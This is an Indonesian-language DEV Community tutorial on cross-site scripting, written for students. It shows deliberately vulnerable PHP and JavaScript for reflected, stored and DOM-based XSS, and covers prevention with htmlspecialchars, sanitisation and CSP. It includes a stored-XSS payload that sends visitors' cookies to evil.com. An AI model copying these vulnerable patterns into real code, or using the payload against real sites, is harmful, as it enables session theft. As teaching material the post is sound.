DEV Community

Cover image for Praktikum Keamanan Web: Cross-Site Scripting (XSS) πŸ˜±πŸ’‰
ahmadasroni38
ahmadasroni38

Posted on

Praktikum Keamanan Web: Cross-Site Scripting (XSS) πŸ˜±πŸ’‰

Halo, teman-teman mahasiswa! Selamat datang di praktikum seru tentang Cross-Site Scripting atau XSS – salah satu vulnerability web yang paling sering ditemuin dan super berbahaya! Bayangkan website kamu kayak browser user yang percaya banget sama data dari server. Tapi kalau ada script jahat "disuntikkan" lewat input user, script itu bisa jalan di browser orang lain: curi cookie, redirect ke situs phishing, atau deface halaman. Kayak virus yang nyebar lewat komentar atau form!

Kita bahas santai, dengan contoh gampang (HTML + PHP sederhana biar bisa dicoba di localhost), dan ilustrasi keren biar langsung klik di otak. Yuk jadi developer yang anti-hack! πŸš€

GIF lucu ini nunjukin hacker lagi "nyuntik" script jahat – seru tapi serem ya! πŸ˜‚

Ilustrasi kartun hacker injecting script – jangan ditiru, ini buat belajar aja!

Apa Itu XSS? πŸ€”

XSS terjadi saat aplikasi web menampilkan input user langsung tanpa sanitasi/escaping, sehingga script JavaScript dari input bisa dieksekusi di browser user lain.

Ada 3 jenis utama:

  1. Reflected XSS (Non-Persistent): Script dikirim lewat URL/form, langsung "refleksi" balik ke victim.
  2. Stored XSS (Persistent): Script disimpan di database, muncul ke semua user yang buka halaman itu.
  3. DOM-Based XSS: Serangan di sisi client (JavaScript ubah DOM berdasarkan input).

Flowchart step-by-step ini gambarin alur serangan XSS secara jelas – langsung paham prosesnya!

Workflow diagram lain yang super detail – kayak peta petualangan hacker!

Contoh 1: Reflected XSS (Paling Gampang Dicoba!) πŸ”„

Halaman pencarian rentan (search.php):

<?php
$query = $_GET['q'];
echo "Hasil pencarian untuk: " . $query;
?>
Enter fullscreen mode Exit fullscreen mode

Input normal: ?q=kucing β†’ Tampil "Hasil pencarian untuk: kucing"

Input jahat: ?q=alert(&#39;Hacked! 😈&#39;)

Hasil: Popup alert "Hacked!" muncul! Hacker bisa ganti alert jadi curi cookie: document.cookie

Diagram reflected XSS ini nunjukin gimana input langsung balik ke victim – klasik banget!

Contoh 2: Stored XSS (Yang Paling Bahaya!) πŸ’Ύ

Komentar blog rentan (comment.php):

// Simpan ke DB tanpa sanitasi
mysqli_query($conn, "INSERT INTO comments (text) VALUES ('$comment')");

// Tampilkan semua komentar
echo $row['text'];  // Langsung echo tanpa escaping
Enter fullscreen mode Exit fullscreen mode

User jahat komentar: document.location=&#39;<a href="http://evil.com?cookie=&#x27;+document.cookie">http://evil.com?cookie=&#39;+document.cookie</a>

Setiap orang buka blog β†’ Cookie mereka dicuri otomatis!

Ilustrasi stored XSS ini gambarin script disimpan dan nyebar ke banyak user – nightmare!

Contoh 3: DOM-Based XSS πŸ–₯️

JavaScript rentan:

document.getElementById('output').innerHTML = location.hash.substring(1);
Enter fullscreen mode Exit fullscreen mode

URL: #alert(&#39;DOM Hacked!&#39;) β†’ Script jalan di client tanpa ke server.

Diagram DOM-based XSS – serangan murni di browser!

Cara Mencegah XSS (Wajib Praktikkan!) πŸ›‘οΈβœ¨

  1. Escaping Output: Pakai htmlspecialchars() di PHP.
   echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
Enter fullscreen mode Exit fullscreen mode
  1. Input Validation & Sanitasi: Pakai library seperti HTML Purifier.

  2. Content Security Policy (CSP): Header HTTP yang blokir script inline.

  3. Gunakan Framework Aman: Laravel, Django otomatis escape.

Infografis prevention ini lengkap banget: escaping, sanitizing, CSP – bookmark ya!

Tips prevention lain yang visual – pakai ini biar website aman!

Latihan Seru Buat Kamu! πŸ’ͺπŸ”₯

  1. Buat halaman search.php rentan, test alert XSS sendiri.
  2. Perbaiki pakai htmlspecialchars, test lagi (harusnya aman!).
  3. Buat form komentar stored XSS, terus cegah.
  4. Coba di labs seperti XSS Game atau PortSwigger Web Academy.

Selamat praktikum, guys! XSS ini kayak monster klasik di web security, tapi kalau kamu paham dan cegah dari awal, website kamu jadi benteng kuat πŸ”₯ Ingat: Always escape output & never trust user input! Keep coding safely and have fun! πŸŽ‰πŸ”

Top comments (0)